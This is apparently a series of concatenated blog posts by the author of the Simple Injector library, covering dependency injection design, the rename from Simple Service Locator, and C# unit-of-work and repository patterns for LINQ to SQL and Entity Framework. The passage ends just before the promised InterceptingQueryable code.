One thing to note is that it gets much harder to use fetching strategies when you execute multiple commands within the same unit of work, for instance when a command has multiple sub commands. There are two solutions I can think of. Either we apply solely the fetching strategy for the main command to the DataContext (the easiest thing to do), or we apply all strategies to the context before the command is executes.

Conclusion

Fetching strategies are a valuable pattern that allow you to fix O/RM specific performance problems without coupling your main application logic to the chosen O/RM technology.

Happy injecting!

I'm not a fan of such a feature, because this steers developers away from a clean application design. Types that act as service components, should contain a single definition of the required dependencies. Since constructor injection is the primary way to inject our dependencies, it doesn't make much sense to have multiple (public) constructors, because we end up with multiple definitions of what dependencies a class requires.

The problem with adding features that support corner case scenarios is that they tend to pollute the framework’s API. While existing users won't notice the slowly increasing API surface (just like frogs tend to stay in the water when it is heated slowly), new users get overwhelmed. Because of this I try to keep the feature set of Simple Injector minimal. Even the feature set of the SimpleInjector.Extensions library is fairly limited.

Funny thing however, is that such a feature, as Remo is adding in the next Ninject version, is already very easy to implement with the Simple Injector, simply by adding an extension method. Here is an example:

Update [2011-12-13]: This code was updated for the Simple Injector v1.3 release.

public static void Register<TService, TImplementation>(
    this Container container, IConstructorSelector selector)
    where TService : class
{
    container.Register<TService>(() => null);

    container.ExpressionBuilt += (sender, e) =>
    {
        if (e.RegisteredServiceType == typeof(TService))
        {
            var ctor =
                selector.GetConstructor(typeof(TImplementation));

            var parameters =
                from p in ctor.GetParameters()
                select container.GetRegistration(p.ParameterType, true)
                    .BuildExpression();

            e.Expression = Expression.New(ctor, parameters);
        }
    };
}

This extension method does two things. First it registers the service with a 'fake' delegate. This ensures that nobody can exidentally override the implementation, and it ensures the ExpressionBuilt event will get triggered (since it only gets triggered for registered types). Next it hooks a delegate to the ExpressionBuilt event. The ExpressionBuilt event will get raised every time the container builds an Expression object for the creation of a service type, but before this Expression gets compiled to a Func<T> delegate. This allows us to influence how the container creates a type, which is exactly what we're doing here. When the delegate gets called, we first check whether the event gets raised for our TService (otherwise we skip), and if so, we fetch the constructor we wish to use using the supplied IConstructorSelector instance (shown below). Using this constructor we create a NewExpression instance that allows us to create a new instance of the given TImplementation using retrieved constructor, by supplying it the correct set of parameters.

Here is the IConstructorSelector interface with with a convenient default implementation:

public interface IConstructorSelector
{
    ConstructorInfo GetConstructor(Type type);
}

public sealed class ConstructorSelector : IConstructorSelector
{
    public static readonly IConstructorSelector MostParameters =
        new ConstructorSelector(type => type.GetConstructors()
            .OrderByDescending(c => c.GetParameters().Length).First());

    public static readonly IConstructorSelector LeastParameters =
        new ConstructorSelector(type => type.GetConstructors()
            .OrderBy(c => c.GetParameters().Length).First());

    private readonly Func<Type, ConstructorInfo> selector;

    public ConstructorSelector(Func<Type, ConstructorInfo> selector)
    {
        this.selector = selector;
    }

    public ConstructorInfo GetConstructor(Type type)
    {
        return this.selector(type);
    }
}

With this in place, we can simply register a multi constructor type as follows:

container.Register<IService, MyServiceImpl>(
    ConstructorSelector.MostParameters);

Because we use Expression objects here, retrieving instances like this pure fire, just as it is with the normal Register<TService, TImplementation>() method.

I like to repeat that I discourage anyone to specify multiple constructors on a type, so the usefulness of this feature is limited. Nevertheless did it give me the possibility to showcase the extendibility of the Simple Injector :-).

Happy injecting.

Readers that are already familiar with the Simple Service Locator might be wondering what happened with it. Nothing has happened with it. I released a stable release over a month ago and you can still download it.

The Simple Injector is a fork of the code base of the Simple Service Locator and shared almost the exact same API as the Simple Service Locator. There is a reason however, why I renamed the Simple Service Locator.

In earlier posts (here and here) on my blog, I question the usefulness of the Common Service Locator and keyed registrations. I decided that I didn’t want to remove those features from the Simple Service Locator, because it could annoy existing users. I had however, strong reasons to remove those, because I didn’t feel those features did belong there.

Because I wanted to introduce some major breaking changes, such as removing the hard dependency on the Common Service Locator and the removal of keyed registrations, I decided to change the name of the new version. This has a few advantages. First of all, this communicates clearly that this is not the Simple Service Locator and users should not expect it to be compatible. Besides this, the name of the Simple Service Locator was chosen, because it is an implementation of the Common Service Locator. Since I removed the dependency with the Common Service Locator, there was no reason to call the library ‘Simple Service Locator’, which was a controversial name in the first place. It lead to a lot of confusion.

Because of the above, I ‘rebranded’ the library, which is now called ”Simple Injector”. I will still maintain the Simple Service Locator, but the focus of development and documentation lies with the Simple Injector. You can see the Simple Service Locator as feature complete. It’s done, just like LINQ to SQL is ‘done’ :-).

So what are the differences with the Simple Service Locator anyway?

1. No more Common Service Locator

Like I said, I removed the dependency on the Common Service Locator (CSL). This means that you don’t need the Microsoft.Practices.ServiceLocation.dll anymore. If you still want to hide the Simple Injector behind the CSL façade, you still can. There is now an CSL Adapter available in the download.

2. No more keyed registrations

Second difference is the removal of the keyed registrations. Keyed registrations make sense in two situations. It makes sense when you are calling into the container itself directly from within your application, and second, it makes sense when using keyed registrations for registration purposes. Some DI containers contain many examples in their documentation were keyed registrations are used for things as decorators or collections of instances.

The thing is however, that calling into the container itself is a pattern known as the Service Locator pattern, and is typically considered an anti-pattern. I agree with this and it is the main reason for me changing the library so drastically.

The containers that use keyed registrations as examples are mostly the containers that do not allow concrete unregistered types to be resolved (such as Autofac and Castle Windsor). Simple Injector (or Simple Service Locator for that matter) allow unregistered concrete types to be resolved (just as Unity and StructureMap do). The reason for those other frameworks not to do this by default, is because it is considered bad practice to depend on concrete implementations. I agree with that, but this doesn’t mean you shouldn’t be able to resolve a concrete type if you want to. In fact, allowing concrete instances to be resolved, it makes the actual DI configuration much simpler, and that’s really what the Simple Injector is all about. I haven’t found a scenario yet that could only be solved by using keyed / named registrations with the Simple Injector. Because of all this, I simply had to remove it from the library. If you really want to be able to resolve an instance by a key though, just create an abstract factory. It’s so simple to do so, that this by itself justifies not having such a feature in the library.

3. Silverlight

Besides these two changes, there are other changes, such as Silverlight support. While Simple Service Locator always intended to have Silverlight support, it didn’t really work. I pulled the support from the stable release of the Simple Service Locator. To get this to work in the Silverlight sandbox, was actually quite a lot of work. Simple Injector now supports Silverlight (and the solution now has a full set of unit tests for Silverlight, that will ensure that it will keep working).

4. Extensions for more advanced stuff

Simple Injector now contains an Extensions assembly, that can be added when you want advanced features. The project existed in the Simple Service Locator source code, but it just contained a bunch of example code snippets. For Simple Injector, that project is now fully tested and part of the download. Placing this stuff in a separate assembly, allows the core to be really slim and easy to grasp.

5. Good support for property injection

The Simple Service Locator contains Register<TConcrete>(Action<TConcrete>) and RegisterSingle<TConcrete>(Action<TConcrete>) overloads that allow registering a concrete type and hook up an Action<T> delegate that allow initializing that type after it is created. Unfortunately, this only works with concrete types. In the Simple Injector project these methods are replaced with a single RegisterInitializer<T>(Action<T>) method. This method allows registration of delegates for each and every type. For instance, when you hook up an Action<object> delegate, it will be called for each and every instance created by the container. While this might not be that useful, it shows the power of this feature. The main scenario for this feature is property injection. The feature allows to register a delegate for a base type, and it will run after the creation of every type that derives from it (or implements it, if it's an interface). There is one catch though, with this feature. While this feature has a one-to-one mapping for some DI frameworks (such as Autofac), you can have a hard time doing this with others (such as Castle Windsor and Unity). I am writing a migration guide, which helps users that want to switch from Simple Injector to another DI framework. I will describe the lack of support for this feature on the migration page of those frameworks that do.

I hope developers find the library useful. My intention is to keep it small and simple, and having lots of documentation and code snippets on the CodePlex wiki to keep developers productive.

Happy injecting!

An other thing I'm currently considering is removing the possibility to do keyed registrations (registering instances by a string key). The reason is the same as with removing the hard dependency on the Common Service Locator: I think it makes little sense when doing dependency injection.

Before making such a change I again want to consult my users and followers. So can you tell me if you are using keyed registrations today in your projects (with the Simple Service Locator or any DI framework for that matter) and have any reason to believe that you can't easily change it to using factories.

Please drop a note in the comments below or send me a mail (to steven at this domain) if you prefer that.

Thanks.

It was not much later after releasing that first beta of the SSL that I started to doubt the usefulness of having a dependency on the Common Service Locator. The reason for it was that I (finally) started to see the benefits of writing applications in such a way that the dependency on a DI framework or an abstraction over it, could be removed altogether. By using the constructor injection DI pattern, instead of calling a container or an abstraction over it directly from code (which is known as the Service Locator (anti) pattern), we are able to almost completely hide the used IoC container from the application. Ideally there should be just a single line of code in the application that calls the container. Having a project structured like that, makes the need of using an abstraction redundant, because what's the use of an abstraction when you can replace it with one line of code?

I noticed that writing unit tests became much easier after I choose to use Dependency Injection over the Service Locator pattern. In the past I had a lot of nasty IoC configuration for my unit tests. I had to do clever tricks to make them run correctly in parallel (because MSTest runs tests in parallel).

The thing is however, that when you start writing unit tests for a code base that contains no tests yet, starting of with the Service Locator pattern is a hell of a lot easier than using the Dependency Injection pattern. When you start using dependency injection, you move the responsibility of wiring the dependencies together from a class up to its consumers. The consumers again will have to move the wiring to their consumers. In other words, when applying  DI, it tends to have a ripple effect bottom up through your code base. To get an existing project structured like that, you probably need to refactor a lot.

Because of this I was (and still am) in doubt about whether forcing my users to have a dependency on the Common Service Locator is good thing, because a good designed application won't need it. On the other hand, because SSL is meant as an intermediate IoC framework, the library will probably be used as first IoC framework, and developers are likely to pick Service Locator over Dependency Injection.

Because of this doubt, I like to turn to you, my users of the Simple Service Locator, followers of the CodePlex project, and readers of my blog. If you are using SSL today, I like to know if you are benefitting from the Common Service Locator facade or if it's in your way. What are your thoughts about this subject? Do you think that having an hard dependency on the Common Service Locator is justifiable, or would the library benefit from being published without the Common Service Locator?

Please drop a note in the comments below or send me a mail (to steven at this domain) if you prefer that.

Thanks in advance.

Cheers

Let me start by saying that due to the current difference in behavior and quality between both open source and commercial LINQ provider implementations, it is hard to completely abstract away such implementation, while still allowing to use LINQ to Expression queries that are effectively translated to database queries. If you want to be able to easily switch O/RM technology later on, you should -not only- have enough unit tests, but especially have enough integration tests that verify the interaction between your LINQ queries and the database (with the persistence technology in between). Also business transactions that involve deletes are something you should cover using integration tests, because the behavior of deleting objects might differ between O/RM frameworks in surprising ways.

For the project I'm currently working on, I use LINQ to SQL as O/RM tool and I was faced with the problem of unit testing. I wrote this answer on Stackoverflow with the experience gained on this project. The answer explains a simplified model of what I designed. What that answer didn’t show however, was that my actual solution was especially designed to deal with multiple data sources. Friday’s answer triggered me to write this actual design down. What I tried to achieve was the following:

• Abstracting LINQ to SQL away enough to allow unit testing.
• Create the abstractions in such a way that adding new entities and new data sources would take very little code, both in application and tests.
• I wanted it to be as DRY as a bone.
• Have a model that closely mimics the API of LINQ to SQL.

What I tried to achieve in my design was to have one unit of work per data source, but without the need to have different implementations during testing. What I ended up with was a design were the persistence technology was abstracted away behind an IDataMapper interface. The unit of work class would be dependent on the IDataMapper, but not on the specific O/RM.

In my design the unit of work would be a container of repositories. These repositories would simply implement IQueryable<T> (such as IQueryable<Customer> for a customer repository), because this allows us to use LINQ queries over the repository.

The typical caller of those data source specific unit of work classes would be a business command or service class. While I could easily configure my favorite IoC framework to create a new instance of a unit of work and inject it into a command, I liked the creation of a new unit of work to be more explicit. Units of work should be committed and disposed, which makes the ownership important. I wanted to make creation and disposing of those object very explicit in my code. For this reason I decided to write factories for the creation of units of work.

Let’s go through the different parts of the code, starting with the Units of work:

Unit of Work

The Unit of Work pattern describes a way to coordinate the writing out of changes in a business transaction. It allows you to make a series of changes in memory and commit them atomically. In my design I have a class per data source. For instance, below is an example of a unit of work for the Northwind database:

public sealed class NorthwindUnitOfWork : IDisposable 
{
    private readonly IDataMapper mapper;
    
    public NorthwindUnitOfWork(IDataMapper mapper)
    {
        this.mapper = mapper;
    }
    
    public Repository<Customer> Customers
    {
        [DebuggerStepThrough]
        get { return this.mapper.GetRepository<Customer>(); }
    }
    
    public Repository<Employee> Employees
    {
        [DebuggerStepThrough]
        get { return this.mapper.GetRepository<Employee>(); }
    }
    
    public Repository<Order> Orders
    {
        [DebuggerStepThrough]
        get { return this.mapper.GetRepository<Order>(); }
    }
    
    [DebuggerStepThrough]
    public void SubmitChanges()
    {
        this.mapper.Save();
    }
    
    [DebuggerStepThrough]
    public void Dispose()
    {
        this.mapper.Dispose();
    }
}

The NorthwindUnitOfWork wraps a IDataMapper and forwards the calls to Dispose and SubmitChanges to the mapper. The NorthwindUnitOfWork also contains a set of properties that represent the different repositories. A repository implements IQueryable<T> and allows the retrieval of a certain type. As you can see, all properties return the generic Repository<T> class. Here is the definition of Repository<T>:

public abstract class Repository<T> : IQueryable<T>
    where T : class
{
    private readonly IQueryable<T> query;

    protected Repository(IQueryable<T> query)
    {
        this.query = query;
    }

    public Type ElementType
    {
        get { return this.query.ElementType; }
    }

    public Expression Expression
    {
        get { return this.query.Expression; }
    }

    public virtual IQueryProvider Provider
    {
        get { return this.query.Provider; }
    }

    public abstract void InsertOnSubmit(T entity);

    public abstract void DeleteOnSubmit(T entity);

    public void InsertAllOnSubmit(IEnumerable<T> entities)
    {
        foreach (var entity in entities)
        {
            this.InsertOnSubmit(entity);
        }
    }

    public void DeleteAllOnSubmit(IEnumerable<T> entities)
    {
        foreach (var entity in entities)
        {
            this.DeleteOnSubmit(entity);
        }
    }

    public IEnumerator<T> GetEnumerator()
    {
        return this.query.GetEnumerator();
    }

    IEnumerator IEnumerable.GetEnumerator()
    {
        return this.query.GetEnumerator();
    }
}

The repository decorates an IQueryable<T>. The sole reason to have a Repository<T> instead of simply returning IQueryable<T> is because of the InsertOnSubmit and DeleteOnSubmit methods. In my initial design I implemented the InsertOnSubmit and DeleteOnSubmit as instance methods of the unit of work (as Entity Framework does). However, when I added InsertAllOnSubmit and DeleteAllOnSubmit methods things went wrong. I wrote code that looked a bit like this:

var customer =
    context.Customers.GetById(this.CustomerId);
 
context.DeleteOnSubmit(customer.Orders);

Note that I incorrectly called DeleteOnSubmit instead of calling the DeleteAllOnSubmit. This compiled fine, because DeleteOnSubmit accepted object and a collection of orders is of course an object. I think this was one of the reasons why the C# team decided to put those insert and delete methods on LINQ to SQL’s Table<T> class. So I wanted to have those methods on the repository and that lead to a design with the Repository<T> class.

The NorthwindUnitOfWork and the Repository<T> together now mimic the LINQ to SQL API very closely. Because of this, for the most part I didn’t have to change my code to get this to work, with is a big plus when you want to add this to an existing project.

Having an API close to that of LINQ to SQL wasn’t enough for me however. The idea of the Repository pattern is to have entity specific operations that allow fetching or deleting entities of a certain type such as GetOrderById or FindCustomerByName. In the past I already solved this problem by writing these operations as extension methods on Table<Order> and Table<Customer>. By writing extension methods on IQueryable<Order> and IQueryable<Customer> -from a user’s perspective- it is just as if these methods are defined on the repository itself:

public static class NorthwindRepositoryExtensions
{
    public static Customer GetById(
        this IQueryable<Customer> repository, string id)
    {
        return GetSingle(repository, e => e.Id == id, id);
    }

    public static Employee GetById(
        this IQueryable<Employee> repository, int id)
    {
        return GetSingle(repository, e => e.Id == id, id);
    }

    public static Order GetById(
        this IQueryable<Order> repository, int id)
    {
        return GetSingle(repository, e => e.Id == id, id);
    }

    // TODO: More GetById methods here.

    // Allow reporting more descriptive error messages.
    private static T GetSingle<T>(IQueryable<T> collection, 
        Expression<Func<T, bool>> predicate, object id)
        where T : class
    {
        T entity;

        try
        {
            entity = collection.SingleOrDefault(predicate);
        }
        catch (Exception ex)
        {
            throw new InvalidOperationException(string.Format(
                "There was an error retrieving an {0} with " +
                "id {1}. {2}",
                typeof(T).Name, id ?? "{null}", ex.Message), ex);
        }

        if (entity == null)
        {
            throw new KeyNotFoundException(string.Format(
                "{0} with id {1} was not found.", 
                typeof(T).Name, id ?? "{null}"));
        }

        return entity;
    }
}

While it would be sufficient to implement those GetById methods with return repository.Single(e => e.Id == id), I found out quickly that this would give very little information on failure. A private method that throws a more descriptive exception was the solution.

Data Mapper

To keep the unit of work classes, such as NorthwindUnitOfWork, ignorant to the chosen technology, a mapping should be in place between that type and the used persistence framework. This is what the IDataMapper interface is for:

public interface IDataMapper : IDisposable
{
    Repository<T> GetRepository<T>() where T : class;
 
    void Save();
}

If you look closely at the definition of this interface, you’ll notice that the data mapper is in fact a unit of work. As a matter of fact, if you wish, you could just use the IDataMapper directly in your business layer instead of using a NorthwindUnitOfWork and its extension methods. Main reason for the them to exist is syntactic sugar. It makes the code much cleaner. In fact, it’s only because C# lacks extension properties that we actually need a NorthwindUnitOfWork.

With the definition of the IDataMapper, it is easy to create implementations for specific O/RM frameworks. Here is an implementation for LINQ to SQL:

public sealed class LinqToSqlDataMapper : IDataMapper
{
    private readonly DataContext context;
    private readonly Dictionary<Type, object> repositories =
        new Dictionary<Type, object>();

    public LinqToSqlDataMapper(DataContext context)
    {
        this.context = context;
    }

    public void Save()
    {
        this.context.SubmitChanges();
    }

    public void Dispose()
    {
        this.context.Dispose();
    }

    public Repository<T> GetRepository<T>() where T : class
    {
        object rep;

        if (!this.repositories.TryGetValue(typeof(T), out rep))
        {
            var table = this.context.GetTable<T>();
            rep = new LinqToSqlRepository<T>(table);
            this.repositories[typeof(T)] = rep;
        }

        return (Repository<T>)rep;
    }

    private sealed class LinqToSqlRepository<T> : Repository<T>
        where T : class
    {
        private readonly Table<T> table;

        public LinqToSqlRepository(Table<T> table)
            : base(table)
        {
            this.table = table;
        }

        public override void InsertOnSubmit(T entity)
        {
            this.table.InsertOnSubmit(entity);
        }

        public override void DeleteOnSubmit(T entity)
        {
            this.table.DeleteOnSubmit(entity);
        }
    }
}

As you can see, the LinqToSqlDataMapper wraps a LINQ to SQL DataContext class and forwards it’s Save and Dispose methods to the DataContext. Its GetRepository<T> method returns LinqToSqlRepository<T> classes, which wrap Table<T> instances. As you can see, the code is fairly simple.

A bit more tricky is the implementation for Entity Framework:

public sealed class EntityFrameworkDataMapper : IDataMapper
{
    private readonly ObjectContext context;
    private readonly Dictionary<Type, object> repositories =
        new Dictionary<Type, object>();

    public EntityFrameworkDataMapper(ObjectContext context)
    {
        this.context = context;
    }

    public void Save()
    {
        this.context.SaveChanges();
    }

    public void Dispose()
    {
        this.context.Dispose();
    }

    public Repository<T> GetRepository<T>() where T : class
    {
        object rep;

        if (!this.repositories.TryGetValue(typeof(T), out rep))
        {
            string setName = this.GetEntitySetName<T>();

            var query = this.context.CreateQuery<T>(setName);
            rep = new EntityRepository<T>(query, setName);
            this.repositories[typeof(T)] = rep;
        }

        return (Repository<T>)rep;
    }

    private string GetEntitySetName<T>()
    {
        EntityContainer container =
            this.context.MetadataWorkspace.GetEntityContainer(
            this.context.DefaultContainerName, DataSpace.CSpace);

        return (
            from item in container.BaseEntitySets
            where item.ElementType.Name == typeof(T).Name
            select item.Name).First();
    }

    private sealed class EntityRepository<T>
        : Repository<T> where T : class
    {
        private readonly ObjectQuery<T> query;
        private readonly string entitySetName;

        public EntityRepository(ObjectQuery<T> query,
            string entitySetName)
            : base(query)
        {
            this.query = query;
            this.entitySetName = entitySetName;
        }

        public override void InsertOnSubmit(T entity)
        {
            this.query.Context.AddObject(entitySetName, entity);
        }

        public override void DeleteOnSubmit(T entity)
        {
            this.query.Context.DeleteObject(entity);
        }
    }
}

For Entity Framework you need to do a bit more work to create repositories, because Entity Framework expects you to supply the entity set name, which would normally the plural form of the entity name, but can in fact be anything. This entity set name is also needed for inserting entities. As you can see, the internal EntityRepository<T> forwards insert and delete calls back to the context, because that’s how Entity Framework likes it (but I don’t).

UPDATE: Note that the ObjectSet<T> class of Entity Framework 4.0 now contains a AddObject(T) method (which was missing in .NET 3.5), which makes writing the EntityResository<T> much easier.

For unit testing we of course want to have an in-memory representation of the objects:

public class InMemoryDataMapper : IDataMapper
{
    private List<object> committed = new List<object>();
    private List<object> uncommittedInserts = new List<object>();
    private List<object> uncommittedDeletes = new List<object>();

    public bool Saved { get; private set; }

    public bool Disposed { get; private set; }

    // Get a list with all committed objects of type T.
    public IEnumerable<T> Committed<T>() where T : class
    {
        return this.committed.OfType<T>();
    }

    public void AddCommitted(object entity)
    {
        this.committed.Add(entity);
    }

    public Repository<T> GetRepository<T>() where T : class
    {
        return new InMemoryRepository<T>(this);
    }

    public void Save()
    {
        this.committed.AddRange(this.uncommittedInserts);
        this.uncommittedInserts.Clear();

        this.committed.RemoveAll(
            e => this.uncommittedDeletes.Contains(e));
        this.uncommittedDeletes.Clear();

        this.Saved = true;
    }

    public void Dispose()
    {
        this.Disposed = true;
    }

    private sealed class InMemoryRepository<T> : Repository<T>
        where T : class
    {
        private readonly InMemoryDataMapper mapper;

        public InMemoryRepository(InMemoryDataMapper mapper)
            : base(mapper.committed.OfType<T>().AsQueryable())
        {
            this.mapper = mapper;
        }

        public override void InsertOnSubmit(T entity)
        {
            if (this.mapper.committed.Contains(entity))
                Assert.Fail("Entity already exist.");

            this.mapper.uncommittedInserts.Add(entity);
        }

        public override void DeleteOnSubmit(T entity)
        {
            if (!this.mapper.committed.Contains(entity))
                Assert.Fail("Entity does not exist.");

            this.mapper.uncommittedDeletes.Add(entity);
        }
    }
}

The AddCommitted method is especially useful during test setup. You typically want to configure the InMemoryDataMapper with a set of committed objects. This correctly mimics how LINQ to SQL and Entity Framework work. The Committed<T>() method is useful during the assertion phase of your tests. With this method you can check if the objects you expect are indeed committed.

Unit of Work factories

The last piece of the puzzle are the Unit of Work factories. Each unit of work gets it’s own factory. As I explained, I like the creation of objects that implement IDisposable to be very explicit. Factories help with this.

In my project I had to deal with multiple data stores. To minimize the number of needed interfaces I decided to define a single generic interface for creating unit of work classes:

public interface IUnitOfWorkFactory<TUnitOfWork>
{
    TUnitOfWork CreateNew();
}

While there is one generic interface, you’ll still need to have one concrete factory for the chosen persistence technology. For instance, here is the factory for creating NorthwindUnitOfWork instances with LINQ to SQL:

public class LinqToSqlNorthwindUnitOfWorkFactory
    : IUnitOfWorkFactory<NorthwindUnitOfWork>
{
    private static MappingSource Source =
        new AttributeMappingSource();

    private readonly string conStr;

    public LinqToSqlNorthwindUnitOfWorkFactory(string conStr)
    {
        this.conStr = conStr;
    }

    public NorthwindUnitOfWork CreateNew()
    {
        var db = new DataContext(this.conStr, Source);
        var mapper = new LinqToSqlDataMapper(db);
        return new NorthwindUnitOfWork(mapper);
    }
}

What you might notice is that the factory is not only data store specific, but also O/RM specific. I tried to define a technology ignorant NorthwindUnitOfWorkFactory by creating an IDataMapperFactory interface, but unfortunately this didn’t work out. For performance reasons, the unit of work factory needs a static MappingSource that is specific to the actual data store. Entity Framework has the same sort of constraint. It needs a default container name which is specific to the data store. Because of this it isn’t possible to extract this code to a IDataMapperFactory implementation.

Here is the factory when using Entity Framework:

public class EntityFrameworkNorthwindUnitOfWorkFactory
    : IUnitOfWorkFactory<NorthwindUnitOfWork>
{
    public NorthwindUnitOfWork CreateNew()
    {
        var db = new ObjectContext("name=NorthwindEntities");
        db.DefaultContainerName = "NorthwindEntities";
        var mapper = new EntityFrameworkDataMapper(db);
        return new NorthwindUnitOfWork(mapper);
    }
}

Because constructing units of work in a unit testing environment is much simpler, we don’t need a factory per data store. We can simply create a factory for creating unit of work factories :-). The CreateFactory method creates a factory that returns the supplied unit of work:

public static class FakeUnitOfWorkFactoryFactory
{
    public static IUnitOfWorkFactory<TUnitOfWork>
        CreateFactory<TUnitOfWork>(TUnitOfWork uow)
    {
        return new FakeFactory<TUnitOfWork>()
        {
            UnitOfWork = uow
        };
    }

    private sealed class FakeFactory<TUnitOfWork>
        : IUnitOfWorkFactory<TUnitOfWork>
    {
        public TUnitOfWork UnitOfWork { get; set; }

        public TUnitOfWork CreateNew()
        {
            return this.UnitOfWork;
        }
    }
}

IoC Configuration

With all this plumbing in place we can now configure our IoC framework. The configuration is really straightforward, because we only need to register the concrete unit of work factories, as follows:

string northwindConnection = GetConStr("Northwind");
 
container.RegisterSingle<IUnitOfWorkFactory<NorthwindUnitOfWork>>(
    new LinqToSqlNorthwindUnitOfWorkFactory(northwindConnection));
 
container.RegisterSingle<IUnitOfWorkFactory<SalesUnitOfWork>>(
    new EntityFrameworkSalesUnitOfWorkFactory());

Application code

I almost forgot the reason why we developers got paid: To create code that helps the business. This is what some business command might look like when we use this code:

public class SomeBusinessCommand
{
    public string CustomerId { get; set; }
}

public class SomeBusinessCommandHandler
    : IHandle<SomeBusinessCommand>
{
    private IUnitOfWorkFactory<NorthwindUnitOfWork> factory;
 
    public SomeBusinessCommandHandler(
        IUnitOfWorkFactory<NorthwindUnitOfWork> factory)
    {
        this.factory = factory;
    }
 
    public void Handle(SomeBusinessCommand command)
    {
        // Create a new context using the factory
        using (var context = this.factory.CreateNew())
        {
            // Using the extension methods on Repository<T>
            var customer = 
                context.Customers.GetById(command.CustomerId);
 
            // Use LINQ queries to effectively filter data. 
            var ordersToDelete =
                from order in context.Orders
                where order.Customer == customer
                where order.ShippedDate == null
                select order;
 
            // Use the delete operation on Repository<T>
            context.Orders.DeleteAllOnSubmit(ordersToDelete);
 
            // save the changes to the database
            context.SubmitChanges();
        }
    }
} 

UPDATE 2011-12-01: Although letting handlers create unit of work instances (using a factory) is an explicit model that is easy model to grasp, I came to the conclusion that this does not scale well. When complexity of the business logic increases, you will find yourself passing the unit of work on to other classes, which makes the code harder to follow. Currently, I rather let the unit of work be created and controlled outside the scope of a handlers and configure my DI container in such way that in a certain scope, the same unit of work is always injected. This doesn't invalidate the use of unit of work factories, since they can still be used by parts of the code that controls the unit of work, but keep in mind that you need to do more infrastructural code (DI wiring) to get this to work correctly.

Limitations

Although this code has worked very well for me, there are a few short comes that might interest you. First of all, this code doesn’t check if the chosen LINQ provider (LINQ to SQL, Entity Framework) can even execute your queries. During unit testing we actually use the LINQ provider on top of LINQ to Objects. This provider just compiles the Expression tree down to delegates and is able to execute practically any query you give it. Providers that translate the query down to SQL (or anything else for that matter) can’t do this. You need to be aware of this and need to write integration tests, or test manually if being able to migrate another persistence framework is a concern. This short come is in fact caused by the concept of LINQ to Expression trees itself. To prevent this you could have your repositories not implement IQueryable<T> and locate the LINQ queries inside a technology specific repository (which is the usual thing to do). This however, doesn’t solve anything, because you now have code that never runs in unit tests at all, and need to rewrite those classes when you migrate to another technology, or at least you still have to test this code manually. There might be a way around this, by letting your LINQ provider run in the background, and verify the executed queries. However, I never managed to create a working proof of concept of this.

A better solution is to give custom queries their own abstraction in the system. This gives you a lot of flexibility, although it still forces you to do integration testing on those queries.

Second short come has to do with the difference in delete behavior between frameworks. NHibernate for instance runs inserts and deletes in the order they are registered. While this sometimes is unpractical, at least this is predictable. LINQ to SQL on the other hand, always executes delete statements last what can be quite annoying. Therefore, what might work during unit testing or while running with one framework, might fail with another.

Third, this design does not completely hide the O/RM tool. One of the differences that might bite you is the lazy loading behavior of sub entities. When accessing the Employee property of an Order, LINQ to SQL will load it lazily from the database. Entity Framework 3.5 returns null, unless you explicitly tell it to include it. (This design really stinks, and because of this the default behavior has changed in EF 4.0.) This will practically prevent you from using EF 3.5 with this design. A good way to prevent this is by using POCO objects. LINQ to SQL allows you to use POCOs, but again EF 3.5 does not. Also don’t forget that LINQ to SQL only supports a one-to-one mapping between an CLR object and database table, while other O/RM tools allow very complex mappings. For this reason, migrating from LINQ to SQL to EF 4.0 would be much easier than the other way around.

A fourth short come is the lack of possibilities to tune performance. Remember that there is one single Repository<T> and all entity specific methods are extension methods. Those extension methods need to operate on IQueryable<T>. Because those methods will also be called during testing, you can’t tune performance by calling some stored procedure at that point. Doing this would ‘promote’ your unit tests to integration tests. UPDATE 2011-01-27: Compared to what I thought before, performance tuning is possible by injecting fetching strategies into the application. UPDATE 2011-06-19: Please read part 2 of this series if you're interested in optimizating performance using fetching strategies.

Yet another short come is that this design does not handle concurrency conflicts. All modern O/RM frameworks have a way to handle (especially) offline optimistic concurrency conflicts. The way they report errors however, and the way you have to deal with conflicts however, differs. If you look closely at the designs of the tools I think you can come up with an API that allows not only reporting (throwing exceptions is the simple part), but also fixing those conflicts. This however, is not something I’ve dealt with. I usually let the application blow right in my face in the situation of a concurrency conflict and log that failure. I think the best way around this is to wrap your business operations with a decorator that handles these concurrency conflicts for you. You can only do this when you give business operations their own abstraction, as I've written about that here.

A last short come I like to mention is that this method will only help you to replace one LINQ provider with another one. When you swap to Azure for instance, you will probably have no LINQ support (or a very limited one) and transition from one to another will fail. If you want to prevent this you should probably hide the LINQ queries behind interfaces.

As you might have noticed, most short comes have to do with LINQ being an leaky abstraction.

UPDATE 2010-11-18: Damien wrote earlier this year an interesting extension method that allows you to do eager loading in a persistence ignorant (read: testable) way. You should definitely check it out.

UPDATE 2010-12-01: Dennis Doomen used the design described in this article successfully in one of his applications. He also used this design in his Silverlight Cookbook reference architecture.

Conclusion

As you know there is not a problem in software design that can’t be solved by adding a layer of abstraction, except of course the problem of too many layers of abstraction :-). While this might seem like a lot of code, don’t forget that you only need the code for the persistence framework you're using (I included code for both LINQ to SQL as Entity Framework). Also, when you don’t need multiple data stores, like I do, the design can be simplified. One of the big plusses for me about this design is the amount of code it saves me to write while writing unit tests.

Cheers

The trick is to wrap an IQueryable<T> and a IQueryProvider object in decorators that allow you to intercept these calls. Then, instead of returning the repositories of your LINQ provider (ObjectQuery<T> for Entity Framework and Table<T> when using LINQ to SQL) you wrap them in a decorator. Downside of this is that you can't use Table<T> or ObjectQuery<T> directly in your code. However, I doubt that you really want this. You want your code to be testable and this would lead you to a design such as described in this post of mine.

Please note that LINQ to SQL actually supports Enum values, but still these transformation can be useful to create support for a large range of other interesting features. It would be nice to have a community site were developers can share extensions for rewriting Expression trees to add all sorts of new behavior to LINQ queries. The popularity of snippets could trigger Microsoft to add native support for these features in a next version of Entity Framework and LINQ to SQL.

I created an InterceptingQueryable<T> that you can return in your code. The creation of the repository could look like this:

protected override IQueryable<TEntity> GetRepository<TEntity>()
    where TEntity : class
{
    Table<TEntity> table = this.db.GetTable<TEntity>();

    var interceptor = new InterceptingQueryable<TEntity>(table);

    interceptor.InterceptingProvider.ExecutingQuery +=
        TransformExpression;

    return interceptor;
}

void TransformExpression(object sender, ExecutingQueryEventArgs e)
{
    // replace the expression with a new one
    e.Expression = [Use Rogers code here];

    // or you could even use a DI fx to get multiple transformations
    var transformers = ServiceLocator.Current
        .GetAllInstances<ExpressionTransformer>();

    foreach (var transformer in transformers)
    {
        e.Expression = transformer.Transform(e.Expression);
    }
}

Here is the code for the InterceptingQueryable<T>:

